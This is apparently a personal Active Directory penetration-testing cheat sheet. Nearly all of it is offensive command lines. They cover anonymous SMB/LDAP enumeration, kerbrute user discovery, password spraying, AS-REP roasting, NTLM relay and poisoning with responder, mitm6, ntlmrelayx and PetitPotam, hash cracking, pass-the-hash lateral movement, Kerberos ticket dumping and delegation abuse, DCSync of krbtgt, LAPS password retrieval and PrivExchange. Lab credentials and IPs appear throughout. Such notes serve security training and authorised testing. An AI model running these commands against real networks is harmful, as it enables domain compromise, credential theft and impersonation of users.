After joining the domain, many functions are restricted for standard accounts. The administrator is the domain controller administrator, making many operations difficult.
net localgroup administrators test\jerry /add
This can elevate user jerry in the test domain to local administrator privileges.
Because UAC prevents local administrator privileges from taking effect immediately, sign out and log back in.
When running a local command that requires administrator privileges, select Yes or No at the prompt.

List Anonymously Accessible SMB Shares

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


enum4linux -a -u "" -p "" <dc-ip> && enum4linux -a -u "guest" -p "" <dc-ip>
smbmap -u "" -p "" -P 445 -H <dc-ip> && smbmap -u "guest" -p "" -P 445 -H <dc-ip>
smbclient -U '%' -L //<dc-ip> && smbclient -U 'guest%' -L //<dc-ip>
cme smb <ip> -u '' -p '' # Enumerate SMB shares accessible through a null session
cme smb <ip> -u 'a' -p '' # Enumerate anonymously accessible SMB shares

enum4linux -a -u "" -p "" 192.168.139.153 && enum4linux -a -u "guest" -p "" 192.168.139.153
smbmap -u "" -p "" -P 445 -H 192.168.139.153 && smbmap -u "guest" -p "" -P 445 -H 192.168.139.153
smbclient -U '%' -L //192.168.139.153 && smbclient -U 'guest%' -L //192.168.139.153
crackmapexec smb 192.168.139.153 -u '' -p ''
crackmapexec smb 192.168.139.153 -u 'a' -p ''

Enumerate LDAP

1
2
3
4
5


nmap -n -sV --script "ldap* and not brute" -p 389 <dc-ip>
ldapsearch -x -H <ip> -s base
ldapsearch -x -H ldap://10.10.10.161:389 -s base
ldapsearch -x -H ldap://10.10.10.161:389 -b dc=test,dc=local
ldapsearch -H ldap://10.10.10.161:389 -x -b dc=htb,dc=local "(objectClass=person)" "*" +

Find Usernames

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


enum4linux -U <dc-ip> | grep 'user:'
crackmapexec smb <ip> -u <user> -p '<password>' --users
nmap -p 88 --script=krb5-enum-users --script-args="krb5-enum-users.realm='<domain>',userdb=<users_list_file>" <ip>
OSINT - Find usernames on the internet

# Newly recorded
kerbrute userenum -d hokkaido-aerospace.com --dc 192.168.208.40 /usr/share/wordlists/SecLists/Usernames/xato-net-10-million-usernames.txt -t 100

/usr/share/wordlists/SecLists-master/Usernames/xato-net-10-million-usernames.txt
/usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt
/usr/share/seclists/Usernames/xato-net-10-million-usernames.txt

Now we have the accounts, but no passwords.

Password Spraying

1
2
3
4
5


Retrieve the domain password policy:
crackmapexec <IP> -u 'user' -p 'password' --pass-pol
enum4linx -u 'username' -p 'password' -P <IP>
cme smb <dc-ip> -u user.txt -p password.txt --no-bruteforce # Do not brute-force; test only matching user=password pairs
cme smb <dc-ip> -u user.txt -p password.txt # Test all combinations; too many failures may trigger lockout depending on the password policy

ASREP-Roasting Attack

Retrieve hashes

1
2
3
4
5


python GetNPUsers.py <domain>/ -usersfile <usernames.txt> -format hashcat -outputfile <hashes.domain.txt>
Rubeus asreproast /format:hashcat

GetNPUsers.py intelligence.htb/ -usersfile user.txt -no-pass -dc-ip 10.10.10.248
GetNPUsers.py -no-pass -dc-ip 10.10.10.248 intelligence.htb/Jose.Williams

Find ASREP-Roastable accounts

1
2
3


GetNPUsers.py domain.com/ -usersfile users.txt -format hashcat
Get-DomainUser -PreauthNotRequired -Properties SamAccountName
MATCH (u:User {dontreqpreauth:true}), (c:Computer), p=shortestPath((u)-[*1..]->(c)) RETURN p

Once You Have the Credentials for Any Domain User

Retrieve passwords for other accounts

1. Get All Account Names in the Domain

1

GetADUsers.py -all -dc-ip <dc_ip> <domain>/<username>

2. Enumerate SMB Shares

https://github.com/byt3bl33d3r/CrackMapExec/releases/tag/v5.4.0

1

cme smb <ip> -u <user> -p <password> --shares

3. BloodHound

https://github.com/dirkjanm/BloodHound.py

1
2
3


bloodhound-python -d <domain> -u <user> -p <password> -gc <dc> -c all
bloodhound-python -d oscp.exam -u web_svc -p Diamond1 -gc DC01.oscp.exam -ns 10.10.132.140 -c all
bloodhound-python -d oscp.exam -u web_svc -p Diamond1 -gc DC01.oscp.exam -ns 10.10.132.140 --zip -c all

4. Enumerate DNS Servers

https://github.com/dirkjanm/krbrelayx/blob/master/dnstool.py

1
2


dnstool.py -u 'DOMAIN\user' -p 'password' --record '*' --action query <dc_ip>
python3 dnstool.py -u 'intelligence.htb\Tiffany.Molina' -p 'NewIntelligenceCorpUser9876' -r webtestaa.intelligence.htb -a add -t A -d 10.10.16.14 10.10.10.248

Relay/Poisoning Attacks

Scan for machines without SMB signing enabled.

1
2
3


nmap -Pn -sS -T4 --open --script smb-security-mode -p445 ADDRESS/MASK
use exploit/windows/smb/smb_relay
cme smb $hosts --gen-relay-list relay.txt

PetitPotam

1

PetitPotam.py -d <domain> <listener_ip> <target_ip>

You can follow this up with an AD CS attack.

Start listening

1
2


responder -i eth0
mitm6 -d <domain>

No SMB Signing || IPv6 Enabled || ADCS

MS08-068

1
2
3
4
5


use exploit/windows/smb/smb_relay 	# Commonly used for Windows 2003 / Windows Server 2008

responder -I eth0 # Remember to disable the local SMB and HTTP services first

ntlmrelayx.py -tf targets.txt

mitm6 -i eth0 -d

1
2
3
4
5
6
7


ntlmrelayx.py -6 -wh <attacker_ip> -l /tmp -socks -debug

ntlmrelayx.py -6 -wh <attacker_ip> -t smb://<target> -l /tmp -socks -debug

ntlmrelayx.py -t ldaps://<dc_ip> -wh <attacker_ip> --delegate-access

getST.py -spn cifs/<target> <domain>/<netbios_name>\$ -impersonate <user>

adcs

1
2
3


ntlmrelayx.py -t http://<dc_ip>/certsrv/certfnsh.asp -debug -smb2support --adcs --template DomainController

Rubeus.exe asktgt /user:<user> /certificate:<base64-certificate> /ptt

Crack the Captured hash

1
2
3


john --format=lm hash.txt

hashcat -m 3000 -a 3 hash.txt

NTLM

1
2
3


john --format=nt hash.txt

hashcat -m 1000 -a 3 hash.txt

NTLMv1

1
2
3


john --format=netntlm hash.txt

hashcat -m 5500 -a 3 hash.txt

NTLMv2

1
2
3


john --format=netntlmv2 hash.txt

hashcat -m 5600 -a 0 hash.txt rockyou.txt

Kerberos 5 TGS

1
2
3


john spn.txt --format=krb5tgs --wordlist=rockyou.txt

hashcat -m 13100 -a 0 spn.txt rockyou.txt

Kerberos ASREP

1

hashcat -m 18200 -a 0 AS-REP_roast-hashes rockyou.txt

Lateral Movement

1
2
3
4
5
6
7
8
9


psexec.py -hashes ":<hash>" <user>@<ip>

wmiexec.py -hashes ":<hash>" <user>@<ip>

atexec.py -hashes ":<hash>" <user>@<ip> "command"

evil-winrm -i <ip>/<domain> -u <user> -H <hash>

xfreerdp /u:<user> /d:<domain> /pth:<hash> /v:<ip>

1
2
3
4
5
6
7
8


python getTGT.py <domain>/<user> -hashes :<hashes>
export KRB5CCNAME=/root/impacket-examples/domain_ticket.ccache
python psexec.py <domain>/<user>@<ip> -k -no-pass

Rubeus asktgt /user:victim /rc4:<rc4value>
Rubeus ptt /ticket:<ticket>
Rubeus createnetonly /program:C:\Windows\System32\[cmd.exe||upnpcont.exe]
Rubeus ptt /luid:0xdeadbeef /ticket:<ticket>

Unconstrained Delegation

Retrieve tickets

1
2
3
4
5


privilege::debug sekurlsa::tickets /export sekurlsa::tickets /export

Rubeus dump /service:krbtgt /nowrap

Rubeus dump /luid:0xdeadbeef /nowrap

Find hosts configured for unconstrained delegation

1
2
3
4
5
6
7


Get-NetComputer -Unconstrained

Get-DomainComputer -Unconstrained -Properties DnsHostName

MATCH (c:Computer {unconstraineddelegation:true}) RETURN c

MATCH (u:User {owned:true}), (c:Computer {unconstraineddelegation:true}), p=shortestPath((u)-[*1..]->(c)) RETURN p

Constrained Delegation

Retrieve tickets

1
2
3
4
5


privilege::debug sekurlsa::tickets /export sekurlsa::tickets /

Rubeus dump /service:krbtgt /nowrap

Rubeus dump /luid:0xdeadbeef /nowrap

Find hosts configured for constrained delegation

1
2
3
4
5


Get-DomainComputer -TrustedToAuth -Properties DnsHostName, MSDS-AllowedToDelegateTo

MATCH (c:Computer), (t:Computer), p=((c)-[:AllowedToDelegate]->(t)) RETURN p

MATCH (u:User {owned:true}), (c:Computer {name: "<MYTARGET.FQDN>"}), p=shortestPath((u)-[*1..]->(c)) RETURN p

Resource-Based Constrained Delegation
dcsync

1

lsadump::dcsync /domain:htb.local /user:krbtgt # Any account in Administrators, Domain Admins, or Enterprise Admins works

Exploiting the Print Spooler Service Vulnerability

1
2


rpcdump.py <domain>/<user>:<password>@<domain_server> | grep MS-RPRN
printerbug.py '<domain>/<username>:<password>'@<Printer IP> <RESPONDERIP>

AD ACL Attacks (aclpwn.py)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


GenericAll on User
GenericAll on Group
GenericAll / GenericWrite / Write on Computer
WriteProperty on Group
Self (Self-Membership) on Group
WriteProperty (Self-Membership)
ForceChangePassword
WriteOwner on Group
GenericWrite on User
WriteDACL + WriteOwner

Retrieve the LAPS Administrator Password

1
2
3


Get-LAPSPasswords -DomainController <ip_dc> -Credential <domain>\<login> | Format-Table -AutoSize

foreach ($objResult in $colResults){$objComputer = $objResult.Properties; $objComputer.name|where {$objcomputer.name -ne $env:computername}|%{foreach-object {Get-AdmPwdPassword -ComputerName $_}}}

PrivExchange Vulnerability

1
2
3


python privexchange.py -ah <attacker_host_or_ip> <exchange_host> -u <user> -d <domain> -p <password>

ntlmrelayx.py -t ldap://<dc_fqdn>--escalate-user <user>

Exchange Exploitation

IPC
Other Lateral Movement Techniques

1
2
3
4
5
6
7


1. Inject a malicious program update into the WSUS server database		WSUSpendu.ps1 # The WSUS update distribution server must be compromised first

2.MSSQL Trusted Links			use exploit/windows/mssql/mssql_linkcrawler

3.GPO Delegation

4.ADCS